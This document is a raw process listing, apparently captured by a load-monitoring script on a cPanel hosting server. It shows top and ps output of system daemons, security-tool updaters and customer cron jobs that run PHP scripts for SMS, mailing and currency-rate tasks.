 73500 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 74479 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 76167 root      20   0  182112   8740   1104 S   0.0  0.4   0:06.90 lfd - sle+
 77245 nobody    20   0  277784  17900   3904 S   0.0  0.7   0:00.49 /usr/sbin+
 78808 root      20   0       0      0      0 S   0.0  0.0   0:00.03 [kworker/+
 78865 nobody    20   0  277784  18044   3652 S   0.0  0.7   0:00.26 /usr/sbin+
 79168 nobody    20   0  277784  17656   3728 S   0.0  0.7   0:00.23 /usr/sbin+
 79196 nobody    20   0  277784  17264   3360 S   0.0  0.7   0:00.28 /usr/sbin+
 79302 nobody    20   0  277784  17612   3636 S   0.0  0.7   0:00.28 /usr/sbin+
 79633 nobody    20   0  277784  17624   3700 S   0.0  0.7   0:00.30 /usr/sbin+
 80394 nobody    20   0  277784  17044   3288 S   0.0  0.7   0:00.14 /usr/sbin+
 81118 nobody    20   0  277824  17452   3572 S   0.0  0.7   0:00.08 /usr/sbin+
 81130 nobody    20   0  277920  17460   3588 S   0.0  0.7   0:00.11 /usr/sbin+
 81131 nobody    20   0  277784  17080   3372 S   0.0  0.7   0:00.15 /usr/sbin+
 81207 nobody    20   0  277784  17480   3576 S   0.0  0.7   0:00.08 /usr/sbin+
 81239 nobody    20   0  277784  17068   3296 S   0.0  0.7   0:00.12 /usr/sbin+
 81445 nobody    20   0  277784  17076   3372 S   0.0  0.7   0:00.09 /usr/sbin+
 81454 nobody    20   0  277920  17256   3372 S   0.0  0.7   0:00.04 /usr/sbin+
 81455 nobody    20   0  277784  16984   3284 S   0.0  0.7   0:00.12 /usr/sbin+
 81468 nobody    20   0  277920  17168   3488 S   0.0  0.7   0:00.07 /usr/sbin+
 81469 nobody    20   0  277788  17148   3372 S   0.0  0.7   0:00.09 /usr/sbin+
 81470 nobody    20   0  277788  15876   2164 S   0.0  0.7   0:00.12 /usr/sbin+
 81471 nobody    20   0  277788  17232   3388 S   0.0  0.7   0:00.06 /usr/sbin+
 81499 root      20   0  111304   4272   3248 S   0.0  0.2   0:00.00 sshd: [ac+
 81504 sshd      20   0  115644   2628   1556 S   0.0  0.1   0:00.00 sshd: [ne+
 81720 root      20   0  111304   4264   3248 S   0.0  0.2   0:00.00 sshd: [ac+
 81731 sshd      20   0  115644   2628   1564 S   0.0  0.1   0:00.00 sshd: [ne+
 81962 root      20   0  111304   4260   3244 S   0.0  0.2   0:00.00 sshd: [ac+
 81968 nobody    20   0  277824  17292   3548 S   0.0  0.7   0:00.00 /usr/sbin+
 82024 root      20   0  157100   5068   3784 S   0.0  0.2   0:00.00 sshd: unk+
 82025 sshd      20   0  115644   2628   1564 S   0.0  0.1   0:00.00 sshd: unk+
 82030 mailnull  20   0   89300   5500   2268 S   0.0  0.2   0:00.00 /usr/sbin+
 82213 root      20   0       0      0      0 Z   0.0  0.0   0:00.00 [cpaneld +
 82217 root      20   0  183084   2432   1592 S   0.0  0.1   0:00.00 /usr/sbin+
 82218 root      20   0  183084   2432   1592 S   0.0  0.1   0:00.00 /usr/sbin+
 82219 root      20   0  183084   2432   1592 S   0.0  0.1   0:00.00 /usr/sbin+
 82221 root      20   0  183084   2432   1592 S   0.0  0.1   0:00.00 /usr/sbin+
 82224 root      20   0  183084   2432   1592 S   0.0  0.1   0:00.00 /usr/sbin+
 82225 root      20   0  183084   2432   1592 S   0.0  0.1   0:00.00 /usr/sbin+
 82226 root      20   0  183084   2432   1592 S   0.0  0.1   0:00.00 /usr/sbin+
 82227 root      20   0  183084   2432   1592 S   0.0  0.1   0:00.00 /usr/sbin+
 82228 root      20   0  183080   2436   1592 S   0.0  0.1   0:00.00 /usr/sbin+
 82231 root      20   0  183080   2436   1592 S   0.0  0.1   0:00.00 /usr/sbin+
 82233 root      20   0  183080   2436   1592 S   0.0  0.1   0:00.00 /usr/sbin+
 82234 root      20   0  183080   2436   1592 S   0.0  0.1   0:00.00 /usr/sbin+
 82235 root      20   0  183080   2436   1592 S   0.0  0.1   0:00.00 /usr/sbin+
 82236 root      20   0  183080   2436   1592 S   0.0  0.1   0:00.00 /usr/sbin+
 82237 root      20   0  183080   2436   1592 S   0.0  0.1   0:00.00 /usr/sbin+
 82240 root      20   0  183080   2432   1592 S   0.0  0.1   0:00.00 /usr/sbin+
 82241 root      20   0  183080   2432   1592 S   0.0  0.1   0:00.00 /usr/sbin+
 82242 root      20   0  183080   2424   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 82245 root      20   0  183080   2428   1592 S   0.0  0.1   0:00.00 /usr/sbin+
 82246 root      20   0  183080   2424   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 82250 root      20   0  162436   5836   4344 S   0.0  0.2   0:00.01 sshd: roo+
 82259 sshd      20   0  115644   2628   1560 S   0.0  0.1   0:00.00 sshd: roo+
 82264 root      20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /bin/sh -+
 82265 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 82267 root      20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /bin/sh -+
 82268 root      20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /bin/sh -+
 82272 root      20   0   20164    968    768 S   0.0  0.0   0:00.00 jailshell+
 82273 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 82274 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 82275 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 82276 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 82277 root      20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /bin/sh -+
 82281 root      20   0  113284   1208   1032 S   0.0  0.0   0:00.00 /bin/sh -+
 82282 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 82285 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 82286 root      20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /bin/sh -+
 82287 root      20   0   20164    984    784 S   0.0  0.0   0:00.00 jailshell+
 82290 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 82291 root      20   0   20164    960    764 S   0.0  0.0   0:00.00 jailshell+
 82292 root      20   0   20164    964    764 S   0.0  0.0   0:00.00 jailshell+
 82294 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 82299 root      20   0  108052    360    284 S   0.0  0.0   0:00.00 /usr/bin/+
 82301 root      20   0 1342892  11580    608 S   0.0  0.5   0:00.06 /usr/bin/+
 82304 root      20   0  113284   1480   1256 S   0.0  0.1   0:00.00 bash /usr+
 82305 root      35  15  113288   1432   1240 S   0.0  0.1   0:00.00 /bin/bash+
 82312 root      20   0  113288   1520   1300 S   0.0  0.1   0:00.00 /bin/bash+
 82316 root      20   0  188216  11096   5148 S   0.0  0.5   0:00.01 /usr/loca+
 82327 nigeria   20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
 82346 pactpay   20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
 82355 pactpay   20   0  476724  17480  11728 S   0.0  0.7   0:00.02 /opt/cpan+
 82376 locatio+  20   0   20164    256      0 S   0.0  0.0   0:00.00 jailshell+
 82378 locatio+  20   0  113284   1208   1032 S   0.0  0.0   0:00.00 /usr/loca+
 82388 root      20   0  160224   2396   1636 S   0.0  0.1   0:00.00 top -n 2 +
 82456 root      20   0  160220   2064   1588 R   0.0  0.1   0:00.00 top -bcn1
 82463 root      35  15  113284   1360   1176 S   0.0  0.1   0:00.00 /bin/bash+
 82466 root      35  15   13112    456    348 R   0.0  0.0   0:00.00 lsmod
 82467 root      35  15       4      4      0 R   0.0  0.0   0:00.00 [egrep]
 82468 root      35  15  113644    972    820 S   0.0  0.0   0:00.00 awk {prin+
 82469 cloudsms  20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
 82471 nigeria   20   0  397064   4472   2348 S   0.0  0.2   0:00.00 php-fpm: +
 82472 cloudsms  20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /usr/loca+
 82476 cloudsms  20   0  113284    180      0 R   0.0  0.0   0:00.00 /usr/loca+
 82477 root      20   0  113284    224      0 R   0.0  0.0   0:00.00 bash /usr+
 82478 root      20   0 1276956  14628    604 R   0.0  0.6   0:00.00 /usr/bin/+
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          2  0.0  0.0      0     0 ?        S    Nov12   0:00 [kthreadd]
root          4  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [kworker/0:0H]
root          6  0.0  0.0      0     0 ?        S    Nov12   0:01  \_ [ksoftirqd/0]
root          7  0.0  0.0      0     0 ?        S    Nov12   0:01  \_ [migration/0]
root          8  0.0  0.0      0     0 ?        S    Nov12   0:00  \_ [rcu_bh]
root          9  0.1  0.0      0     0 ?        R    Nov12   0:22  \_ [rcu_sched]
root         10  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [lru-add-drain]
root         11  0.0  0.0      0     0 ?        S    Nov12   0:00  \_ [watchdog/0]
root         12  0.0  0.0      0     0 ?        S    Nov12   0:00  \_ [watchdog/1]
root         13  0.0  0.0      0     0 ?        S    Nov12   0:00  \_ [migration/1]
root         14  0.0  0.0      0     0 ?        S    Nov12   0:04  \_ [ksoftirqd/1]
root         16  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [kworker/1:0H]
root         18  0.0  0.0      0     0 ?        S    Nov12   0:00  \_ [kdevtmpfs]
root         19  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [netns]
root         20  0.0  0.0      0     0 ?        S    Nov12   0:00  \_ [khungtaskd]
root         21  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [writeback]
root         22  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [kintegrityd]
root         23  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [bioset]
root         24  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [bioset]
root         25  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [bioset]
root         26  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [kblockd]
root         27  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [md]
root         28  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [edac-poller]
root         29  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [watchdogd]
root         36  0.1  0.0      0     0 ?        S    Nov12   0:25  \_ [kswapd0]
root         37  0.0  0.0      0     0 ?        SN   Nov12   0:00  \_ [ksmd]
root         38  0.0  0.0      0     0 ?        SN   Nov12   0:00  \_ [khugepaged]
root         39  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [crypto]
root         47  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [kthrotld]
root         49  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [kmpath_rdacd]
root         50  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [kaluad]
root         51  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [kpsmoused]
root         52  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [ipv6_addrconf]
root         65  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [deferwq]
root        148  0.0  0.0      0     0 ?        S    Nov12   0:00  \_ [kauditd]
root        238  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [ata_sff]
root        247  0.0  0.0      0     0 ?        S    Nov12   0:00  \_ [scsi_eh_0]
root        248  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [scsi_tmf_0]
root        249  0.0  0.0      0     0 ?        S    Nov12   0:00  \_ [scsi_eh_1]
root        250  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [scsi_tmf_1]
root        256  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [ttm_swap]
root        257  0.0  0.0      0     0 ?        S<   Nov12   0:02  \_ [kworker/1:1H]
root        267  0.0  0.0      0     0 ?        S<   Nov12   0:02  \_ [kworker/0:1H]
root        276  0.0  0.0      0     0 ?        S    Nov12   0:01  \_ [jbd2/vda3-8]
root        277  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [ext4-rsv-conver]
root        415  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [rpciod]
root        416  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [xprtiod]
root        620  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [kvm-irqfd-clean]
root        665  0.0  0.0      0     0 ?        S<   Nov12   0:02  \_ [loop0]
root        695  0.0  0.0      0     0 ?        S    Nov12   0:00  \_ [jbd2/loop0-8]
root        696  0.0  0.0      0     0 ?        S<   Nov12   0:00  \_ [ext4-rsv-conver]
root      78808  0.0  0.0      0     0 ?        S    00:03   0:00  \_ [kworker/0:3]
root      51088  0.0  0.0      0     0 ?        S    01:28   0:00  \_ [kworker/0:1]
root      51986  0.0  0.0      0     0 ?        S    01:29   0:00  \_ [kworker/1:3]
root      58816  0.0  0.0      0     0 ?        S    01:36   0:00  \_ [kworker/u200:0]
root      65618  0.0  0.0      0     0 ?        S    01:43   0:00  \_ [kworker/1:1]
root      66521  0.0  0.0      0     0 ?        S    01:44   0:00  \_ [kworker/u200:1]
root      70517  0.0  0.0      0     0 ?        S    01:48   0:00  \_ [kworker/1:0]
root      72516  0.0  0.0      0     0 ?        S    01:50   0:00  \_ [kworker/0:0]
root      73500  0.0  0.0      0     0 ?        S    01:51   0:00  \_ [kworker/1:4]
root      74479  0.0  0.0      0     0 ?        S    01:52   0:00  \_ [kworker/0:4]
root          1  0.1  0.1  44428  3408 ?        Ss   Nov12   0:30 /usr/lib/systemd/systemd --switched-root --system --deserialize 22
root        357  0.0  0.1  39500  4212 ?        Ss   Nov12   0:12 /usr/lib/systemd/systemd-journald
root        382  0.0  0.0  45360     8 ?        Ss   Nov12   0:00 /usr/lib/systemd/systemd-udevd
root        410  0.0  0.0  55532   108 ?        S<sl Nov12   0:01 /sbin/auditd
root        497  0.0  0.0  24896  1432 ?        Ss   Nov12   0:04 /usr/lib/systemd/systemd-logind
root        500  0.0  0.0  21540   348 ?        Ss   Nov12   0:00 /usr/sbin/irqbalance --foreground
polkitd     501  0.0  0.0 612240   848 ?        Ssl  Nov12   0:02 /usr/lib/polkit-1/polkitd --no-debug
root        503  0.0  0.0 152780    72 ?        Ss   Nov12   0:00 /usr/sbin/pure-authd -s /var/run/ftpd.sock -r /usr/local/cpanel/bin/pureauth
root        504  0.0  0.1 224148  3060 ?        Ss   Nov12   0:00 queueprocd - waiting up to 60s to process a task
root        507  0.0  0.0  52852   244 ?        Ss   Nov12   0:00 /usr/sbin/smartd -n -q never
dbus        514  0.0  0.0  58728  1344 ?        Ss   Nov12   0:11 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
nscd        519  0.0  0.0 1062080 1320 ?        Ssl  Nov12   0:18 /usr/sbin/nscd
rpc         521  0.0  0.0  69256     4 ?        Ss   Nov12   0:00 /sbin/rpcbind -w
root        529  0.0  0.0   4388     4 ?        Ss   Nov12   0:00 /usr/sbin/acpid
root        555  0.0  0.0 195208     0 ?        Ssl  Nov12   0:00 /usr/sbin/gssproxy -D
root        575  0.0  0.0 124512   852 ?        Ss   Nov12   0:00 /usr/sbin/crond -n
root      23292  0.0  0.0 183048  1416 ?        S    01:00   0:00  \_ /usr/sbin/CROND -n
root      23359  0.0  0.0 113284   620 ?        Ss   01:00   0:00  |   \_ /bin/sh -c sleep $((1 + RANDOM % 5))h $((1 + RANDOM % 60))m; /usr/local/bin/wp-toolkit update-configuration > /dev/null 2> /dev/null || /usr/local/cpanel/3rdparty/wp-toolkit/bin/wp-toolkit-installer.sh --generate-configs > /dev/null 2> /dev/null; /usr/bin/yum -y update wp-toolkit-cpanel > /dev/null 2> /dev/null
root      23372  0.0  0.0 108056   276 ?        S    01:00   0:00  |       \_ sleep 2h 2m
root      82217  0.0  0.1 183084  2432 ?        S    02:00   0:00  \_ /usr/sbin/CROND -n
root      82277  0.0  0.0 113284  1212 ?        Ss   02:00   0:00  |   \_ /bin/sh -c /usr/bin/update_imunify &>/dev/null
root      82301  6.0  0.4 1342892 11580 ?       Sl   02:00   0:00  |       \_ /usr/bin/update_imunify
root      82218  0.0  0.1 183084  2432 ?        S    02:00   0:00  \_ /usr/sbin/CROND -n
root      82267  0.0  0.0 113284  1212 ?        Ss   02:00   0:00  |   \_ /bin/sh -c /usr/bin/CSPUpdate self-update &>/dev/null
root      82300  6.0  0.6 1276956 14628 ?       Sl   02:00   0:00  |       \_ /usr/bin/CSPUpdate self-update
root      82485  0.0  0.0 113644   976 ?        S    02:00   0:00  |           \_ awk {print $1}
root      82219  0.0  0.1 183084  2432 ?        S    02:00   0:00  \_ /usr/sbin/CROND -n
root      82286  0.0  0.0 113284  1212 ?        Ss   02:00   0:00  |   \_ /bin/sh -c /bin/bash /usr/local/lp/apps/sonarpush-helpers/sonarpush-helpers.sh hourly > /dev/null 2>&1
root      82305  0.0  0.0 113288  1432 ?        SN   02:00   0:00  |       \_ /bin/bash /usr/local/lp/apps/sonarpush-helpers/sonarpush-helpers.sh hourly
root      82463  0.0  0.0 113284  1360 ?        SN   02:00   0:00  |           \_ /bin/bash /usr/local/lp/apps/sonarpush-helpers/hourly.d/kmodlist.sh
root      82466  0.0  0.0  13116   828 ?        RN   02:00   0:00  |               \_ lsmod
root      82467  0.0  0.0 112812   984 ?        SN   02:00   0:00  |               \_ grep -E -v ^Module
root      82468  0.0  0.0 113644   972 ?        SN   02:00   0:00  |               \_ awk {printf "%s ", $1}
root      82221  0.0  0.1 183084  2432 ?        S    02:00   0:00  \_ /usr/sbin/CROND -n
root      82281  0.0  0.0 113284  1208 ?        Ss   02:00   0:00  |   \_ /bin/sh -c /usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1
root      82304  0.0  0.0 114252  2240 ?        R    02:00   0:00  |       \_ bash /usr/local/maldetect/maldet --mkpubpaths
root      82484  0.0  0.0      0     0 ?        Z    02:00   0:00  |           \_ [bash] <defunct>
root      82224  0.0  0.1 183084  2432 ?        S    02:00   0:00  \_ /usr/sbin/CROND -n
root      82264  0.0  0.0 113284  1212 ?        Ss   02:00   0:00  |   \_ /bin/sh -c /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch &> /dev/null
root      82299  0.0  0.0 108052   360 ?        S    02:00   0:00  |       \_ /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch
root      82312  0.0  0.0 113288  1520 ?        S    02:00   0:00  |           \_ /bin/bash /usr/local/lp/bin/loadwatch
root      82479  0.0  0.0 153840  2096 ?        R    02:00   0:00  |               \_ ps auxf
root      82225  0.0  0.1 183084  2432 ?        S    02:00   0:00  \_ /usr/sbin/CROND -n
root      82285  0.0  0.0  20164   804 ?        Ss   02:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/robocall.cloudsms.com.ng/endpoint/ ; php -q -f /home/cloudsms/robocall.cloudsms.com.ng/endpoint/sendsingle1.php > /dev/null 2>&1
root      82226  0.0  0.1 183084  2432 ?        S    02:00   0:00  \_ /usr/sbin/CROND -n
root      82273  0.0  0.0  20164   808 ?        Ss   02:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/robocall.cloudsms.com.ng/endpoint/ ; php -q -f /home/cloudsms/robocall.cloudsms.com.ng/endpoint/send_multiple.php > /dev/null 2>&1
root      82227  0.0  0.1 183084  2432 ?        S    02:00   0:00  \_ /usr/sbin/CROND -n
root      82282  0.0  0.0  20164   808 ?        Ss   02:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/robocall.cloudsms.com.ng/endpoint/ ; php -q -f /home/cloudsms/robocall.cloudsms.com.ng/endpoint/send_single.php > /dev/null 2>&1
root      82228  0.0  0.1 183080  2436 ?        S    02:00   0:00  \_ /usr/sbin/CROND -n
root      82294  0.0  0.0  20164   808 ?        Ss   02:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_schedules.php > /dev/null 2>&1
root      82231  0.0  0.1 183080  2436 ?        S    02:00   0:00  \_ /usr/sbin/CROND -n
root      82287  0.0  0.0  20164   984 ?        Ss   02:00   0:00  |   \_ jailshell (cloudsms) [82469] ll -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
cloudsms  82469  0.0  0.0  20164   260 ?        S    02:00   0:00  |       \_ jailshell (cloudsms) [init] ell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
cloudsms  82472  0.0  0.0 113284  1212 ?        S    02:00   0:00  |           \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
cloudsms  82476  0.0  0.6 400652 15408 ?        S    02:00   0:00  |               \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/cloudsms/public_html/massmailer/cron.php
root      82233  0.0  0.1 183080  2436 ?        S    02:00   0:00  \_ /usr/sbin/CROND -n
root      82290  0.0  0.0  20164   808 ?        Ss   02:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue6.php > /dev/null 2>&1
root      82234  0.0  0.1 183080  2436 ?        S    02:00   0:00  \_ /usr/sbin/CROND -n
root      82276  0.0  0.0  20164   804 ?        Ss   02:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue5.php > /dev/null 2>&1
root      82235  0.0  0.1 183080  2436 ?        S    02:00   0:00  \_ /usr/sbin/CROND -n
root      82275  0.0  0.0  20164   808 ?        Ss   02:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue4.php > /dev/null 2>&1
root      82236  0.0  0.1 183080  2436 ?        S    02:00   0:00  \_ /usr/sbin/CROND -n
root      82265  0.0  0.0  20164   808 ?        Ss   02:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue3.php > /dev/null 2>&1
root      82237  0.0  0.1 183080  2436 ?        S    02:00   0:00  \_ /usr/sbin/CROND -n
root      82274  0.0  0.0  20164   804 ?        Ss   02:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue1.php > /dev/null 2>&1
root      82240  0.0  0.1 183080  2432 ?        S    02:00   0:00  \_ /usr/sbin/CROND -n
root      82268  0.0  0.0 113284  1212 ?        Ss   02:00   0:00  |   \_ /bin/sh -c /usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1
root      82316  1.0  0.4 188216 11096 ?        S    02:00   0:00  |       \_ /usr/local/cpanel/bin/dcpumon
root      82388  0.0  0.0 160224  2396 ?        S    02:00   0:00  |           \_ top -n 2 -b -c
root      82241  0.0  0.1 183080  2432 ?        S    02:00   0:00  \_ /usr/sbin/CROND -n
root      82289 16.0  1.2 232268 31456 ?        Rs   02:00   0:00  |   \_ /usr/local/cpanel/3rdparty/bin/perl /usr/local/cpanel/bin/backup
root      82481  0.0  0.0 113284  1212 ?        S    02:00   0:00  |       \_ sh -c /usr/bin/ps axo pid,command 2>/dev/null
root      82483  0.0  0.0 153328  1528 ?        R    02:00   0:00  |           \_ /usr/bin/ps axo pid,command
root      82242  0.0  0.1 183080  2424 ?        S    02:00   0:00  \_ /usr/sbin/CROND -n
root      82292  0.0  0.0  20164   964 ?        Ss   02:00   0:00  |   \_ jailshell (pactpay) [82346] ell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay   82346  0.0  0.0  20164   260 ?        S    02:00   0:00  |       \_ jailshell (pactpay) [init] hell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay   82355  2.0  0.7 476724 17480 ?        S    02:00   0:00  |           \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
root      82245  0.0  0.1 183080  2428 ?        S    02:00   0:00  \_ /usr/sbin/CROND -n
root      82272  0.0  0.0  20164   968 ?        Ss   02:00   0:00  |   \_ jailshell (nigeria) [82327] ell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria   82327  0.0  0.0  20164   260 ?        S    02:00   0:00  |       \_ jailshell (nigeria) [init] hell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria   82334  8.0  0.6 400652 15932 ?        S    02:00   0:00  |           \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/nigeria/public_html/crons/analyzer.php
root      82246  0.0  0.1 183080  2424 ?        S    02:00   0:00  \_ /usr/sbin/CROND -n
root      82291  0.0  0.0  20164   960 ?        Ss   02:00   0:00      \_ jailshell (locationforms) [82376]  php -q /home/locationforms/public_html/mail/admin/index.php -pprocessqueue -c/home/locationforms/public_html/mail/config/config.php >/dev/null
locatio+  82376  0.0  0.0  20164   256 ?        S    02:00   0:00          \_ jailshell (locationforms) [init] c php -q /home/locationforms/public_html/mail/admin/index.php -pprocessqueue -c/home/locationforms/public_html/mail/config/config.php >/dev/null
locatio+  82378  0.0  0.0 113284  1208 ?        S    02:00   0:00              \_ /usr/local/cpanel/bin/jailshell -c php -q /home/locationforms/public_html/mail/admin/index.php -pprocessqueue -c/home/locationforms/public_html/mail/config/config.php >/dev/null
locatio+  82381  4.0  0.8 403272 20140 ?        S    02:00   0:00                  \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q /home/locationforms/public_html/mail/admin/index.php -pprocessqueue -c/home/locationforms/public_html/mail/config/config.php
root        577  0.0  0.0  24208     4 ?        Ss   Nov12   0:00 /usr/sbin/atd -f
root        590  0.0  0.0 114704     0 ttyS0    Ss+  Nov12   0:00 /bin/bash
root        591  0.0  0.0 108296     8 tty1     Ss+  Nov12   0:00 /sbin/agetty --noclear tty1 linux
mailnull    614  0.0  0.1  89120  3716 ?        Ss   Nov12   0:00 /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
mailnull  82030  0.0  0.2  89300  5500 ?        S    01:59   0:00  \_ /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
systuser    924  0.0  0.0 113016    64 ?        Ssl  Nov12   0:00 /usr/local/lp/opt/exporters/php-fpm_exporter/php-fpm_exporter server
systuser    928  0.0  0.0  14068     0 ?        Ssl  Nov12   0:00 /usr/local/lp/opt/exporters/mysqld_exporter/mysqld_exporter --config.my-cnf=/usr/local/lp/etc/exporters/my.cnf
systuser    929  0.0  0.5 114016 13796 ?        Ssl  Nov12   0:05 /usr/local/lp/opt/exporters/blackbox_exporter/blackbox_exporter --config.file /usr/local/lp/etc/exporters/blackbox.yml
root        930  0.0  0.0 153404   220 ?        Ss   Nov12   0:00 pure-ftpd (SERVER)
root        931  0.0  0.0  51508   464 ?        Ss   Nov12   0:00 /usr/sbin/dovecot -F -c /etc/dovecot/dovecot.conf
dovenull   1075  0.0  0.0  47264  1992 ?        S    Nov12   0:00  \_ dovecot/pop3-login
dovenull   1076  0.0  0.1  48460  2852 ?        S    Nov12   0:00  \_ dovecot/imap-login
dovecot    1077  0.0  0.0  10320   280 ?        S    Nov12   0:00  \_ dovecot/anvil
root       1078  0.0  0.0  10452   568 ?        S    Nov12   0:00  \_ dovecot/log
dovenull   1079  0.0  0.0  47112  2304 ?        S    Nov12   0:00  \_ dovecot/pop3-login
dovenull   1080  0.0  0.1  48000  2588 ?        S    Nov12   0:00  \_ dovecot/imap-login
root       1084  0.0  0.0  24528  2028 ?        S    Nov12   0:00  \_ dovecot/config
dovecot    1088  0.0  0.0  13568   596 ?        S    Nov12   0:00  \_ dovecot/stats
dovecot    1166  0.0  0.0  41260  1560 ?        S    Nov12   0:00  \_ dovecot/auth
root        932  0.0  0.0 572372   612 ?        Ssl  Nov12   0:01 /usr/bin/python2 -Es /usr/sbin/tuned -l -P
telegraf    933  0.0  1.3 5654048 33880 ?       SLsl Nov12   0:11 /usr/local/lp/bin/telegraf -config /usr/local/lp/etc/telegraf.toml -config-directory /usr/local/lp/etc/telegraf.d
memcach+    935  0.0  0.0 342400    56 ?        Ssl  Nov12   0:00 /usr/bin/memcached -u memcached -p 11211 -m 64 -c 1024
root        939  0.0  0.0 111304   360 ?        Ss   Nov12   0:02 /usr/sbin/sshd -D
root      81499  0.0  0.1 111304  4272 ?        Ss   01:59   0:00  \_ sshd: [accepted]
sshd      81504  0.0  0.1 115644  2628 ?        S    01:59   0:00  |   \_ sshd: [net]
root      81720  0.0  0.1 111304  4264 ?        Ss   01:59   0:00  \_ sshd: [accepted]
sshd      81731  0.0  0.1 115644  2628 ?        S    01:59   0:00  |   \_ sshd: [net]
root      81962  0.0  0.1 111304  4260 ?        Ss   01:59   0:00  \_ sshd: [accepted]
root      82024  0.0  0.2 157100  5068 ?        Ss   01:59   0:00  \_ sshd: unknown [priv]
sshd      82025  0.0  0.1 115644  2628 ?        S    01:59   0:00  |   \_ sshd: unknown [net]
root      82250  1.0  0.2 162436  5836 ?        Ss   02:00   0:00  \_ sshd: root [priv]
